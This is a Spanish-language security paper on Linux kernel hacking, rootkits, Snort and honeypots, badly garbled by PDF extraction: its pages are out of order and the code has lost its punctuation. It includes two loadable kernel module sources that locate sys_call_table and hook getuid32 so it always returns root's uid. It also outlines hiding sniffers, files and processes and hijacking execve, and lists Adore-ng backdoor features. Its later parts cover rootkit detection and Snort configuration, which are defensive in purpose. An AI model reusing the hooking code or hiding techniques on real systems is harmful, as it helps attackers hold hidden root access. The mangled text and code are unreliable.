acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 20: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

Resumiendo

Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida iquestdefinida doacutende pues en archi386entryS gentileza del propio Linus Torvalds -)

El hack

Lo ideal seriacutea que editar (soacutelo lectura) archi386entryS para buscar una parte igual o muy similar a la que muestro en la serie 24 cambia ligeramente pero la idea es la misma

usrsrclinuxarchi386kernelentryS

Liacuteneas 225 a 259 de mi kernel 2614 sobre la 277 en versiones 269 y otras ndash por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo

system call handler stub

1 ENTRY(system_call) 2 pushl eax save orig_eax 3 SAVE_ALL 4 GET_THREAD_INFO(ebp) 5 testw

$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT)TI_ flags(ebp)

6 jnz syscall_trace_entry 7 cmpl $(nr_syscalls) eax 8 jae syscall_badsys 9 syscall_call 10 call sys_call_table(eax4) 11 movl eaxEAX(esp) 12 syscall_exit 13 [ continuacutea]

He omitido algunos comentario del fichero y demaacutes por brevedad

Atencioacuten en la liacutenea que va justo despueacutes de la etiqueta syscall_call ahiacute lo que hace es hacer una llamada pasando en el registro EAX el nuacutemero de la syscall En el mismo fichero entryS maacutes abajo deberiacutea haber algo como lo que sigue esto era cierto hasta las versiones 269 y otras pero recientemente y una vez maacutes esto ha cambiado un poco y ahora tenemos en mi kernel 2614 un fichero ldquosyscall_tableSrdquo en el mismo lugar que contiene una tabla con las llamadas al sistema no sabriacutea decir si es maacutes coacutemodo o no pero lo cierto es que lo deja con un aspecto maacutes bonito para trabajar

Esto es parte de su contenido

Kernel hacks y seguridad JMP

data ENTRY(sys_call_table)

long sys_restart_syscall 0 - old setup() system call

long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve

long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek

long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access

long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall

y continuacutea

used for restarting

5

10

15

old break syscall holder

20

25

30 old stty syscall holder old gtty syscall holder

35 - old ftime syscall holder

40

old prof syscall holder 45

50

recycled never used phys() old lock syscall holder

Kernel hacks y seguridad JMP

Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente

Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos

Procedo a usar GDB para desensamblar el fichero como muestro en la figura

Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table

Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump

objdump -d entryo|grep ff 14 85

Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos

El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero

Kernel hacks y seguridad JMP

Obtenemos la sys_call_table[] en kernels de la serie 26 test

include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct

unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2

__attribute__ ((packed)) idt

IDTR struct

unsigned short limit unsigned int base

__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)

return 0 el hack static void syscalltable(void)

unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))

printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]

memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn

verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))

i++ sys_call_table =(void) ((int ) ampsccall[i+3])

printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P

Kernel hacks y seguridad JMP

empieza static int __init buscarsct(void)

printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)

syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]

sys_call_table[__NR_getuid32]=cero_uidreturn 0

lo ponemos todo en orden static void __exit descarga(void)

sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)

module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])

Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores

81- Otra alternativa iquestmaacutes sencilla

Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos

No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno

La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora

Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos

usrsrclinuxincludeasm $ vim processorh

Kernel hacks y seguridad JMP

1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la

Sys_call_table[])

Kernel hacks y seguridad JMP

Imagen conceptual del proceso

Kernel hacks y seguridad JMP

9- Hooks y hacks de intereacutes (algunas ideas)

Algunas cosas que podemos hacer en el Kernel

Ocultar un sniffer

Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos

Ocultar ficheros y procesos

iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )

Manipular execve()

Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno

usrsrclinuxincludeasm $ vim unistdh

En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute

Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original

Kernel hacks y seguridad JMP

inicio

int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)

0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))

__syscall_return(long__res)

final

Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM

10- Rootkits visioacuten general

Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host

Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red

De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas

Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute

Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros

Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad

Kernel hacks y seguridad JMP

Ejemplo de un rootkit moderno ldquoAdore-ngrdquo

Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso

Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente

Runs on kernel 24x UP and SMP systems

First test-versions successfully run on 260

File and directory hiding

Process hiding

Socket-hiding (no matter whether LISTENing CONNECTED etc)

Full-capability back door

Does not utilize sys_call_table but VFS layer

KISS principle to have as less things in there as possible but also being as much powerful as possible

Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y

Kernel hacks y seguridad JMP

carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore

La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes

Adore ~034 SucKIT Adore-ng gt=131

Interceptando el flujo de ejecucioacuten

Syscalltable Syscall handler VFS

Transferencia coacutedigo dentro del Kernel

LKM Acceso directo (raw shycrudo) a memoria

LKM

Incluye puerta trasera - Siacute -

Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs

Tabla Comparativa de algunos rootkits

Medidas de proteccioacuten y deteccioacuten de rootkits

Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas

Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten

Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap

linux head Systemmap

00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt

Kernel hacks y seguridad JMP

Otros meacutetodos tiacutepicos

Checksums de ficheros importantes (tripwire aide etc)

Backup de las estructuras centrales del kernel (kstat)

LKMs anti-rootkit

Herramientas forenses (TCT)

Analisis de logs etc

Utilidades para la deteccioacuten (rkhunter chkrootkit)

Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas

httpwwwchkrootkitorg

httpwwwrootkitorg

Conclusiones

Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante

Kernel hacks y seguridad JMP

Snort el cerdito valiente

SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red

Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias

Wreski y Christopher Pallack en Linuxsecuritycom

ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated

Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular

root emerge -pv snort

These are the packages that I would merge in order

Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB

Total size of downloads 0 kB

No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL

httpwwwsnortorgdl

Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio

2- Configuracioacuten baacutesica de Snort

Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de

Kernel hacks y seguridad JMP

Snort Dicho fichero se puede encontrar en

etcsnortsnortconf

pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro

Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso

El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria

Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero

1 Establecer las variables para nuestra red

2 Configurar el preprocesador de Snort

3 Configurar los plugins de salida

4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort

5 Personalizar nuestro set de reglas para Snort

La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea

Paso 1

Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario

Kernel hacks y seguridad JMP

var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS

Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes

var HOME_NET 1921681124

Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo

var EXTERNAL_NET any

Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay

var DNS_SERVERS $HOME_NET

var SMTP_SERVERS $HOME_NET

[]

Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten

var HTTP_PORTS 80 var BO-BACKDOOR 31337

var NO_SSH 22 include mis_directivasrules

Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar

config detection search-method lowmem

Paso 2

Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas

Por ejemplo preprocessor frag2

Kernel hacks y seguridad JMP

preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies

Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo

preprocessor stream4 detect_scans

preprocessor stream4_reassemble

Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados

A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto

Paso 3

Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema

Paso 4

Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados

Paso 5

Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo

3- Descargando nuevas reglas desde Internet

Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es

httpwwwsnortorgrules

yo

Kernel hacks y seguridad JMP

httpwwwsnortorgpub-bindownloadscgi

Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar

Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto

4- Prevencioacuten de intrusiones

Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort

Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ

Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway

httpsnort-inlinesourceforgenet (configure - -enable-inline)

Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado

Kernel hacks y seguridad JMP

Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

